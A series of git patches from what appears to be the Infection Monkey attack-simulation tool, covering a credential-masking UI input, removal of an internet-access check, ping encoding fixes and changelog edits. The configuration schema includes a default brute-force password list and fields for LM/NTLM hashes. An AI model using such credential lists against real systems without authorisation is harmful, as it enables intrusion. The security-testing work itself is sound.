From 3c0ceaf35c5d64cdd9aa12185598c60740536cee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 13 Aug 2021 08:24:21 -0400 Subject: [PATCH 001/454] Common: Change build type to "dev" --- monkey/common/BUILD | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/BUILD b/monkey/common/BUILD index d7025695e..38f8e886e 100644 --- a/monkey/common/BUILD +++ b/monkey/common/BUILD @@ -1 +1 @@ -release +dev From dd390ff41d22f3d85e5b135109cc097c24ff7da1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 13 Aug 2021 08:38:05 -0400 Subject: [PATCH 002/454] Update release 1.11.0 date in changelog --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 019768075..d9888aa47 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [1.11.0] - 2021-08-XX +## [1.11.0] - 2021-08-13 ### Added - A runtime-configurable option to specify a data directory where runtime configuration and other artifacts can be stored. #994 From 9a0837656bd0586a8ef16e648671f48ca5b41058 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 17 Aug 2021 11:06:34 +0200 Subject: [PATCH 003/454] UI: Add hide/show component for credentials --- .../cc/services/config_schema/basic.py | 4 +- .../configuration-components/UiSchema.js | 8 ++++ .../src/components/ui-components/HideInput.js | 44 +++++++++++++++++++ .../ui/src/styles/components/HideInput.scss | 3 ++ 4 files changed, 58 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/HideInput.scss diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index aba80e08a..27b8f1d6f 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -48,7 +48,9 @@ BASIC = { "title": "Exploit password list", "type": "array", "uniqueItems": True, - "items": {"type": "string"}, + "items": { + "type": "string", + }, "default": [ "root", "123456", diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 38e7ad244..9263ba772 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -3,6 +3,7 @@ import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; import InfoBox from './InfoBox'; import TextBox from './TextBox'; +import HideInput from '../ui-components/HideInput'; export default function UiSchema(props) { const UiSchema = { @@ -13,6 +14,13 @@ export default function UiSchema(props) { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } + }, + credentials : { + exploit_password_list: { + items: { + 'ui:widget': HideInput + } + } } }, basic_network: { diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js new file mode 100644 index 000000000..148e9dac3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js @@ -0,0 +1,44 @@ +import React from 'react'; +import {InputGroup, FormControl} from 'react-bootstrap'; +import '../../styles/components/HideInput.scss' + +class HideInput extends React.PureComponent { + constructor(props) { + super(props); + + this.state = { + hidden: false + }; + this.toggleShow = this.toggleShow.bind(this); + } + + toggleShow() { + this.setState({hidden: ! this.state.hidden}); + } + + onChange(e) { + var value = e.target.value; + return this.props.onChange(value === '' ? this.props.options.emptyValue : value); + } + + render() { + return ( +
+ + this.onChange(event)} + /> + + + + + + +
+ ); + } +} + +export default HideInput; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/HideInput.scss b/monkey/monkey_island/cc/ui/src/styles/components/HideInput.scss new file mode 100644 index 000000000..85898638c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/HideInput.scss @@ -0,0 +1,3 @@ +.eye-button{ + padding: 5px !important; +} From a8cc0e6781b5710eb7b058c7fbc364dad07f17bf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 18 Aug 2021 11:49:01 +0200 Subject: [PATCH 004/454] UI: Add HideInput component to internal exploits --- .../configuration-components/UiSchema.js | 14 +++++++++++++- .../ui/src/components/ui-components/HideInput.js | 6 +++--- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 9263ba772..e6dbed239 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -18,7 +18,7 @@ export default function UiSchema(props) { credentials : { exploit_password_list: { items: { - 'ui:widget': HideInput + 'ui:widget': HideInput } } } @@ -112,6 +112,18 @@ export default function UiSchema(props) { aws_keys: { classNames: 'config-field-hidden' } + }, + exploits: { + exploit_lm_hash_list:{ + items: { + 'ui:widget': HideInput + } + }, + exploit_ntlm_hash_list: { + items: { + 'ui:widget': HideInput + } + } } } }; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js index 148e9dac3..4a2e53915 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js @@ -24,15 +24,15 @@ class HideInput extends React.PureComponent { render() { return (
- + this.onChange(event)} /> - - + + From 24009797ab16b84ba77e0e9fe71ce05b3ab0c57c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 19 Aug 2021 11:16:22 +0200 Subject: [PATCH 005/454] UI: Rename HideInput to SensitiveTextInput. Resolve spacing --- .../components/configuration-components/UiSchema.js | 8 ++++---- .../{HideInput.js => SensitiveTextInput.js} | 10 ++++------ .../cc/ui/src/styles/components/HideInput.scss | 3 --- 3 files changed, 8 insertions(+), 13 deletions(-) rename monkey/monkey_island/cc/ui/src/components/ui-components/{HideInput.js => SensitiveTextInput.js} (79%) delete mode 100644 monkey/monkey_island/cc/ui/src/styles/components/HideInput.scss diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index e6dbed239..6879bee2e 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -3,7 +3,7 @@ import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; import InfoBox from './InfoBox'; import TextBox from './TextBox'; -import HideInput from '../ui-components/HideInput'; +import SensitiveTextInput from '../ui-components/SensitiveTextInput'; export default function UiSchema(props) { const UiSchema = { @@ -18,7 +18,7 @@ export default function UiSchema(props) { credentials : { exploit_password_list: { items: { - 'ui:widget': HideInput + 'ui:widget': SensitiveTextInput } } } @@ -116,12 +116,12 @@ export default function UiSchema(props) { exploits: { exploit_lm_hash_list:{ items: { - 'ui:widget': HideInput + 'ui:widget': SensitiveTextInput } }, exploit_ntlm_hash_list: { items: { - 'ui:widget': HideInput + 'ui:widget': SensitiveTextInput } } } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js similarity index 79% rename from monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js rename to monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js index 4a2e53915..6dca37157 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/HideInput.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js @@ -1,18 +1,16 @@ import React from 'react'; import {InputGroup, FormControl} from 'react-bootstrap'; -import '../../styles/components/HideInput.scss' -class HideInput extends React.PureComponent { +class SensitiveTextInput extends React.PureComponent { constructor(props) { super(props); this.state = { hidden: false }; - this.toggleShow = this.toggleShow.bind(this); } - toggleShow() { + toggleShow = () => { this.setState({hidden: ! this.state.hidden}); } @@ -24,7 +22,7 @@ class HideInput extends React.PureComponent { render() { return (
- + Date: Thu, 5 Aug 2021 13:29:08 +0200 Subject: [PATCH 006/454] UI: Hide description that messed up the list --- CHANGELOG.md | 6 ++++ .../configuration-components/UiSchema.js | 29 ++++++++++++++++++- 2 files changed, 34 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d9888aa47..1a78318cf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,12 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## [Unreleased] + +### Fixed +- Misaligned buttons and input fields on exploiter and network configuration + pages. #1353 + ## [1.11.0] - 2021-08-13 ### Added - A runtime-configurable option to specify a data directory where runtime diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 38e7ad244..e0a12a8dc 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -13,6 +13,18 @@ export default function UiSchema(props) { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } + }, + credentials: { + exploit_user_list: { + items: { + classNames: 'config-template-no-header' + } + }, + exploit_password_list: { + items: { + classNames: 'config-template-no-header' + } + } } }, basic_network: { @@ -21,8 +33,23 @@ export default function UiSchema(props) { info_box: { 'ui:field': InfoBox }, + blocked_ips: { + items: { + classNames: 'config-template-no-header' + } + }, subnet_scan_list: { - format: 'ip-list' + format: 'ip-list', + items: { + classNames: 'config-template-no-header' + } + } + }, + network_analysis: { + inaccessible_subnets: { + items: { + classNames: 'config-template-no-header' + } } } }, From 189e1338ba80c0c1532b9ac8d5d480b1ec4f43af Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 14:15:15 -0400 Subject: [PATCH 007/454] Agent: Remove internet access check Issue #1402 --- monkey/infection_monkey/config.py | 3 --- monkey/infection_monkey/control.py | 8 ++------ monkey/infection_monkey/example.conf | 4 ---- monkey/infection_monkey/network/info.py | 19 ------------------- 4 files changed, 2 insertions(+), 32 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0bede1c57..433f11541 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -145,9 +145,6 @@ class Configuration(object): # sets whether or not to retry failed hosts on next scan retry_failed_explotation = True - # addresses of internet servers to ping and check if the monkey has internet acccess. - internet_services = ["updates.infectionmonkey.com", "www.google.com"] - keep_tunnel_open_time = 60 # Monkey files directory name diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 109110498..f3aac4701 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -19,7 +19,7 @@ from common.common_consts.timeouts import ( SHORT_REQUEST_TIMEOUT, ) from infection_monkey.config import GUID, WormConfiguration -from infection_monkey.network.info import check_internet_access, local_ips +from infection_monkey.network.info import local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy @@ -40,7 +40,7 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, has_internet_access=None): + def wakeup(parent=None): if parent: LOG.debug("parent: %s" % (parent,)) @@ -48,15 +48,11 @@ class ControlClient(object): if not parent: parent = GUID - if has_internet_access is None: - has_internet_access = check_internet_access(WormConfiguration.internet_services) - monkey = { "guid": GUID, "hostname": hostname, "ip_addresses": local_ips(), "description": " ".join(platform.uname()), - "internet_access": has_internet_access, "config": WormConfiguration.as_dict(), "parent": parent, "launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)), diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 774d69aed..e5ce947c9 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -2,10 +2,6 @@ "command_servers": [ "192.0.2.0:5000" ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 474281f68..7f740eeb2 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -5,8 +5,6 @@ from random import randint # noqa: DUO102 import netifaces import psutil -import requests -from requests import ConnectionError from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os @@ -125,23 +123,6 @@ def get_free_tcp_port(min_range=1000, max_range=65535): return None -def check_internet_access(services): - """ - Checks if any of the services are accessible, over HTTPS - :param services: List of IPs/hostnames - :return: boolean depending on internet access - """ - for host in services: - try: - requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False) # noqa: DUO123 - return True - except ConnectionError: - # Failed connecting - pass - - return False - - def get_interfaces_ranges(): """ Returns a list of IPs accessible in the host in each network interface, in the subnet. From b48c1720e7d1f4c3196ad7ce28cb1f5ddaa5a414 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 14:16:08 -0400 Subject: [PATCH 008/454] Island; Remove "internet_access" and "internet_services" Issue #1402 --- monkey/monkey_island/cc/models/monkey.py | 1 - .../cc/services/config_schema/internal.py | 10 ---------- 2 files changed, 11 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 70ca9fbf9..4bfaa1759 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -38,7 +38,6 @@ class Monkey(Document): dead = BooleanField() description = StringField() hostname = StringField() - internet_access = BooleanField() ip_addresses = ListField(StringField()) launch_time = StringField() keepalive = DateTimeField() diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 1ce1c864b..b6e926dfb 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -60,16 +60,6 @@ INTERNAL = { "monkey propagating to " "a high number of machines", }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": ["monkey.guardicore.com", "www.google.com"], - "description": "List of internet services to try and communicate with to " - "determine internet" - " connectivity (use either ip or domain)", - }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", From 087c8f2cf8c5c1a8f90af1ab7301d87135b0527e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 14:16:44 -0400 Subject: [PATCH 009/454] BB: Remove internet_services from BaseTemplate --- envs/monkey_zoo/blackbox/config_templates/base_template.py | 1 - 1 file changed, 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py index f55328312..e323e9098 100644 --- a/envs/monkey_zoo/blackbox/config_templates/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -15,5 +15,4 @@ class BaseTemplate(ConfigTemplate): ], "monkey.post_breach.post_breach_actions": [], "internal.general.keep_tunnel_open_time": 0, - "internal.monkey.internet_services": [], } From 85e26beda8f45fc6b5a5e3ae7a48b2cf6a80cf30 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 14:17:01 -0400 Subject: [PATCH 010/454] Tests: Remove internet_services from test config --- .../data_for_tests/monkey_configs/monkey_config_standard.json | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 86a43f0fc..a18fb0adc 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -54,10 +54,6 @@ "monkey": { "victims_max_find": 100, "victims_max_exploit": 100, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], "self_delete_in_cleanup": true, "use_file_logging": true, "serialize_config": false, From f2148db70bc906b85e0be06fa5c8c0f25ff6d40a Mon Sep 17 00:00:00 2001 From: TRGamer-tech Date: Fri, 6 Aug 2021 10:50:46 +0200 Subject: [PATCH 011/454] Add cp850 encoding to subprocess --- monkey/infection_monkey/network/ping_scanner.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 2f2b2719b..d01a9c56b 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -43,11 +43,13 @@ class PingScanner(HostScanner, HostFinger): if not "win32" == sys.platform: timeout /= 1000 + Encoding = "cp850" sub_proc = subprocess.Popen( ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, + encoding=Encoding, ) output = " ".join(sub_proc.communicate()) From 769dd67b668ed737a97fc058b03f58e1167b8ddd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 13 Aug 2021 08:39:08 -0400 Subject: [PATCH 012/454] Agent: Automatically select correct output encoding for ping command --- monkey/infection_monkey/network/ping_scanner.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index d01a9c56b..f43412064 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -43,13 +43,12 @@ class PingScanner(HostScanner, HostFinger): if not "win32" == sys.platform: timeout /= 1000 - Encoding = "cp850" sub_proc = subprocess.Popen( ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, - encoding=Encoding, + encoding=os.device_encoding(1), ) output = " ".join(sub_proc.communicate()) From ce278297533654784aa1d4fcae4d8f406064599e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 13 Aug 2021 08:41:11 -0400 Subject: [PATCH 013/454] Update CHANGELOG.md with fix for #1175 --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a78318cf..e9388b192 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Misaligned buttons and input fields on exploiter and network configuration pages. #1353 +- Crash when unexpected character encoding is used by ping command on German + language systems. #1175 + ## [1.11.0] - 2021-08-13 ### Added From 5f9e507dc7d98ddcd16a83db64aefe04ce9b5c85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 17 Aug 2021 11:24:12 -0400 Subject: [PATCH 014/454] Agent: Add debug logging to get_host_fingerprint() --- monkey/infection_monkey/network/ping_scanner.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index f43412064..38195e44b 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -43,14 +43,20 @@ class PingScanner(HostScanner, HostFinger): if not "win32" == sys.platform: timeout /= 1000 + ping_cmd = ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr] + encoding = os.device_encoding(1) + + LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") + sub_proc = subprocess.Popen( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + ping_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, - encoding=os.device_encoding(1), + encoding=encoding, ) + LOG.debug(f"Retrieving ping command output using {encoding} encoding") output = " ".join(sub_proc.communicate()) regex_result = self._ttl_regex.search(output) if regex_result: From 54e519eeaa89cc5bd0ec819d253a9627098c0f32 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 12:55:40 -0400 Subject: [PATCH 015/454] Agent: Gracefully handle character decode errors in ping command --- monkey/infection_monkey/network/ping_scanner.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 38195e44b..64cf3794f 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -38,22 +38,24 @@ class PingScanner(HostScanner, HostFinger): ) def get_host_fingerprint(self, host): - timeout = self._config.ping_scan_timeout if not "win32" == sys.platform: timeout /= 1000 ping_cmd = ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr] - encoding = os.device_encoding(1) - LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") + # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result + # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash + # in this case. See #1175 and #1403 for more information. + encoding = os.device_encoding(1) sub_proc = subprocess.Popen( ping_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding=encoding, + errors="backslashreplace", ) LOG.debug(f"Retrieving ping command output using {encoding} encoding") From 0fc9631d7550e56205222bd2a18e59da44658d9c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 20 Aug 2021 07:46:02 -0400 Subject: [PATCH 016/454] Update changelog with entry for #1183 --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index d9888aa47..38d64c59f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,10 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## [Unreleased] +### Fixed +- Credentials shown in plain text on configuration screens. #1183 + ## [1.11.0] - 2021-08-13 ### Added - A runtime-configurable option to specify a data directory where runtime From 1d9ae4c01a4b83518593b82be1ccacfaed0896b7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 20 Aug 2021 09:23:23 -0400 Subject: [PATCH 017/454] Island: Fix typo "trough" -> "through" --- CHANGELOG.md | 1 + monkey/monkey_island/cc/services/attack/attack_config.py | 2 +- .../cc/services/attack/technique_reports/T1041.py | 4 ++-- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f0c269e8..81176527d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Misaligned buttons and input fields on exploiter and network configuration pages. #1353 - Credentials shown in plain text on configuration screens. #1183 +- Typo "trough" -> "through" in telemetry and docstring. ## [1.11.0] - 2021-08-13 ### Added diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 711b51bf1..b2d59310d 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -94,7 +94,7 @@ class AttackConfig(object): @staticmethod def r_set_booleans(path, value, attack_techniques, monkey_config): """ - Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to + Recursively walks through monkey configuration (DFS) to find which boolean fields needs to be set and sets them according to ATT&CK matrix. :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 2cdcfa975..692a41e8b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -5,9 +5,9 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique class T1041(AttackTechnique): tech_id = "T1041" - unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." + unscanned_msg = "Monkey didn't exfiltrate any info through command and control channel." scanned_msg = "" - used_msg = "Monkey exfiltrated info trough command and control channel." + used_msg = "Monkey exfiltrated info through command and control channel." @staticmethod def get_report_data(): From cf73d11d9e2b52ca9383c0698a68d45b54fd352d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 20 Aug 2021 09:27:11 -0400 Subject: [PATCH 018/454] Update changelog for issue #1402 --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a78318cf..77c5cc3e8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] +### Removed +- Internet access check on agent start. #1402 +- The "internal.monkey.internet_services" configuration option that enabled + internet access checks. #1402 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration From 1d9372690dbac7d9fdc3ef904dd24133786ef900 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 13:25:52 -0400 Subject: [PATCH 019/454] Agent: Deduplicate timeout calculation in PingScanner --- .../infection_monkey/network/ping_scanner.py | 21 ++++++++----------- 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 64cf3794f..ef1534b53 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -21,28 +21,22 @@ class PingScanner(HostScanner, HostFinger): _SCANNED_SERVICE = "" def __init__(self): - self._config = infection_monkey.config.WormConfiguration + self._timeout = infection_monkey.config.WormConfiguration.ping_scan_timeout + if not "win32" == sys.platform: + self._timeout /= 1000 + self._devnull = open(os.devnull, "w") self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) def is_host_alive(self, host): - - timeout = self._config.ping_scan_timeout - if not "win32" == sys.platform: - timeout /= 1000 - return 0 == subprocess.call( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr], stdout=self._devnull, stderr=self._devnull, ) def get_host_fingerprint(self, host): - timeout = self._config.ping_scan_timeout - if not "win32" == sys.platform: - timeout /= 1000 - - ping_cmd = ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr] + ping_cmd = ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr] LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result @@ -77,3 +71,6 @@ class PingScanner(HostScanner, HostFinger): LOG.debug("Error parsing ping fingerprint: %s", exc) return False + + def _build_ping_command(self, host): + return ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr] From 1f519ad1ee0033578fd76362d7c0de90a3dfa8bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 19 Aug 2021 13:27:40 -0400 Subject: [PATCH 020/454] Agent: Deduplicate ping command list in PingScanner --- monkey/infection_monkey/network/ping_scanner.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index ef1534b53..d7ebffb56 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -29,14 +29,17 @@ class PingScanner(HostScanner, HostFinger): self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) def is_host_alive(self, host): + ping_cmd = self._build_ping_command(host.ip_addr) + LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") + return 0 == subprocess.call( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr], + ping_cmd, stdout=self._devnull, stderr=self._devnull, ) def get_host_fingerprint(self, host): - ping_cmd = ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr] + ping_cmd = self._build_ping_command(host.ip_addr) LOG.debug(f"Running ping command: {' '.join(ping_cmd)}") # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result @@ -72,5 +75,5 @@ class PingScanner(HostScanner, HostFinger): return False - def _build_ping_command(self, host): - return ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), host.ip_addr] + def _build_ping_command(self, ip_addr): + return ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), ip_addr] From db8ea4519716f2f885aa7cbafd73787affa72ad2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 20 Aug 2021 10:59:23 -0400 Subject: [PATCH 021/454] Agent: Remove traceroute binaries The traceroute binaries are no longer used. They inflate the size of the agent binaries and add unnecessary dependencies. --- CHANGELOG.md | 1 + deployment_scripts/config | 4 ---- deployment_scripts/config.ps1 | 2 -- deployment_scripts/deploy_linux.sh | 10 ---------- monkey/infection_monkey/monkey.spec | 15 +-------------- 